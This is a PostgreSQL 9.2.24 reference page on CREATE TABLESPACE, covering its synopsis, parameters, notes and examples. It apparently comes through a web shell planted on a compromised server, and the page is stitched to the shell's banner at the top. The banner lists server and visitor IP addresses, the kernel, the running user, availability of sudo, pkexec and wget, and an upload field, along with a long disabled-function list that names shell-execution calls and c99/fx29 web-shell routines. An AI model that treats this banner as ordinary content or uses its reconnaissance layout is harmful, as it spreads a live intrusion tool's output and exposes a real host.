| Server IP : 103.119.228.120 / Your IP : 3.145.37.219 Web Server : Apache System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : nobody ( 99) PHP Version : 5.6.40 Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/local/ssl/share/doc/postgresql-9.2.24/html/ |
Upload File : |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML
><HEAD
><TITLE
>CREATE TABLESPACE</TITLE
><META
NAME="GENERATOR"
CONTENT="Modular DocBook HTML Stylesheet Version 1.79"><LINK
REV="MADE"
HREF="mailto:pgsql-docs@postgresql.org"><LINK
REL="HOME"
TITLE="PostgreSQL 9.2.24 Documentation"
HREF="index.html"><LINK
REL="UP"
TITLE="SQL Commands"
HREF="sql-commands.html"><LINK
REL="PREVIOUS"
TITLE="CREATE TABLE AS"
HREF="sql-createtableas.html"><LINK
REL="NEXT"
TITLE="CREATE TEXT SEARCH CONFIGURATION"
HREF="sql-createtsconfig.html"><LINK
REL="STYLESHEET"
TYPE="text/css"
HREF="stylesheet.css"><META
HTTP-EQUIV="Content-Type"
CONTENT="text/html; charset=ISO-8859-1"><META
NAME="creation"
CONTENT="2017-11-06T22:43:11"></HEAD
><BODY
CLASS="REFENTRY"
><DIV
CLASS="NAVHEADER"
><TABLE
SUMMARY="Header navigation table"
WIDTH="100%"
BORDER="0"
CELLPADDING="0"
CELLSPACING="0"
><TR
><TH
COLSPAN="5"
ALIGN="center"
VALIGN="bottom"
><A
HREF="index.html"
>PostgreSQL 9.2.24 Documentation</A
></TH
></TR
><TR
><TD
WIDTH="10%"
ALIGN="left"
VALIGN="top"
><A
TITLE="CREATE TABLE AS"
HREF="sql-createtableas.html"
ACCESSKEY="P"
>Prev</A
></TD
><TD
WIDTH="10%"
ALIGN="left"
VALIGN="top"
><A
HREF="sql-commands.html"
ACCESSKEY="U"
>Up</A
></TD
><TD
WIDTH="60%"
ALIGN="center"
VALIGN="bottom"
></TD
><TD
WIDTH="20%"
ALIGN="right"
VALIGN="top"
><A
TITLE="CREATE TEXT SEARCH CONFIGURATION"
HREF="sql-createtsconfig.html"
ACCESSKEY="N"
>Next</A
></TD
></TR
></TABLE
><HR
ALIGN="LEFT"
WIDTH="100%"></DIV
><H1
><A
NAME="SQL-CREATETABLESPACE"
></A
>CREATE TABLESPACE</H1
><DIV
CLASS="REFNAMEDIV"
><A
NAME="AEN71451"
></A
><H2
>Name</H2
>CREATE TABLESPACE -- define a new tablespace</DIV
><DIV
CLASS="REFSYNOPSISDIV"
><A
NAME="AEN71456"
></A
><H2
>Synopsis</H2
><PRE
CLASS="SYNOPSIS"
>CREATE TABLESPACE <TT
CLASS="REPLACEABLE"
><I
>tablespace_name</I
></TT
> [ OWNER <TT
CLASS="REPLACEABLE"
><I
>user_name</I
></TT
> ] LOCATION '<TT
CLASS="REPLACEABLE"
><I
>directory</I
></TT
>'</PRE
></DIV
><DIV
CLASS="REFSECT1"
><A
NAME="AEN71461"
></A
><H2
>Description</H2
><P
> <TT
CLASS="COMMAND"
>CREATE TABLESPACE</TT
> registers a new cluster-wide
tablespace. The tablespace name must be distinct from the name of any
existing tablespace in the database cluster.
</P
><P
> A tablespace allows superusers to define an alternative location on
the file system where the data files containing database objects
(such as tables and indexes) can reside.
</P
><P
> A user with appropriate privileges can pass
<TT
CLASS="REPLACEABLE"
><I
>tablespace_name</I
></TT
> to
<TT
CLASS="COMMAND"
>CREATE DATABASE</TT
>, <TT
CLASS="COMMAND"
>CREATE TABLE</TT
>,
<TT
CLASS="COMMAND"
>CREATE INDEX</TT
> or <TT
CLASS="COMMAND"
>ADD CONSTRAINT</TT
> to have the data
files for these objects stored within the specified tablespace.
</P
></DIV
><DIV
CLASS="REFSECT1"
><A
NAME="AEN71472"
></A
><H2
>Parameters</H2
><P
></P
><DIV
CLASS="VARIABLELIST"
><DL
><DT
><TT
CLASS="REPLACEABLE"
><I
>tablespace_name</I
></TT
></DT
><DD
><P
> The name of a tablespace to be created. The name cannot
begin with <TT
CLASS="LITERAL"
>pg_</TT
>, as such names
are reserved for system tablespaces.
</P
></DD
><DT
><TT
CLASS="REPLACEABLE"
><I
>user_name</I
></TT
></DT
><DD
><P
> The name of the user who will own the tablespace. If omitted,
defaults to the user executing the command. Only superusers
can create tablespaces, but they can assign ownership of tablespaces
to non-superusers.
</P
></DD
><DT
><TT
CLASS="REPLACEABLE"
><I
>directory</I
></TT
></DT
><DD
><P
> The directory that will be used for the tablespace. The directory
should be empty and must be owned by the
<SPAN
CLASS="PRODUCTNAME"
>PostgreSQL</SPAN
> system user. The directory must be
specified by an absolute path name.
</P
></DD
></DL
></DIV
></DIV
><DIV
CLASS="REFSECT1"
><A
NAME="AEN71492"
></A
><H2
>Notes</H2
><P
> Tablespaces are only supported on systems that support symbolic links.
</P
><P
> <TT
CLASS="COMMAND"
>CREATE TABLESPACE</TT
> cannot be executed inside a transaction
block.
</P
></DIV
><DIV
CLASS="REFSECT1"
><A
NAME="AEN71497"
></A
><H2
>Examples</H2
><P
> Create a tablespace <TT
CLASS="LITERAL"
>dbspace</TT
> at <TT
CLASS="LITERAL"
>/data/dbs</TT
>:
</P><PRE
CLASS="PROGRAMLISTING"
>CREATE TABLESPACE dbspace LOCATION '/data/dbs';</PRE
><P>
</P
><P
> Create a tablespace <TT
CLASS="LITERAL"
>indexspace</TT
> at <TT
CLASS="LITERAL"
>/data/indexes</TT
>
owned by user <TT
CLASS="LITERAL"
>genevieve</TT
>:
</P><PRE
CLASS="PROGRAMLISTING"
>CREATE TABLESPACE indexspace OWNER genevieve LOCATION '/data/indexes';</PRE
><P></P
></DIV
><DIV
CLASS="REFSECT1"
><A
NAME="AEN71508"
></A
><H2
>Compatibility</H2
><P
> <TT
CLASS="COMMAND"
>CREATE TABLESPACE</TT
> is a <SPAN
CLASS="PRODUCTNAME"
>PostgreSQL</SPAN
>
extension.
</P
></DIV
><DIV
CLASS="REFSECT1"
><A
NAME="AEN71513"
></A
><H2
>See Also</H2
><A
HREF="sql-createdatabase.html"
>CREATE DATABASE</A
>, <A
HREF="sql-createtable.html"
>CREATE TABLE</A
>, <A
HREF="sql-createindex.html"
>CREATE INDEX</A
>, <A
HREF="sql-droptablespace.html"
>DROP TABLESPACE</A
>, <A
HREF="sql-altertablespace.html"
>ALTER TABLESPACE</A
></DIV
><DIV
CLASS="NAVFOOTER"
><HR
ALIGN="LEFT"
WIDTH="100%"><TABLE
SUMMARY="Footer navigation table"
WIDTH="100%"
BORDER="0"
CELLPADDING="0"
CELLSPACING="0"
><TR
><TD
WIDTH="33%"
ALIGN="left"
VALIGN="top"
><A
HREF="sql-createtableas.html"
ACCESSKEY="P"
>Prev</A
></TD
><TD
WIDTH="34%"
ALIGN="center"
VALIGN="top"
><A
HREF="index.html"
ACCESSKEY="H"
>Home</A
></TD
><TD
WIDTH="33%"
ALIGN="right"
VALIGN="top"
><A
HREF="sql-createtsconfig.html"
ACCESSKEY="N"
>Next</A
></TD
></TR
><TR
><TD
WIDTH="33%"
ALIGN="left"
VALIGN="top"
>CREATE TABLE AS</TD
><TD
WIDTH="34%"
ALIGN="center"
VALIGN="top"
><A
HREF="sql-commands.html"
ACCESSKEY="U"
>Up</A
></TD
><TD
WIDTH="33%"
ALIGN="right"
VALIGN="top"
>CREATE TEXT SEARCH CONFIGURATION</TD
></TR
></TABLE
></DIV
></BODY
></HTML
>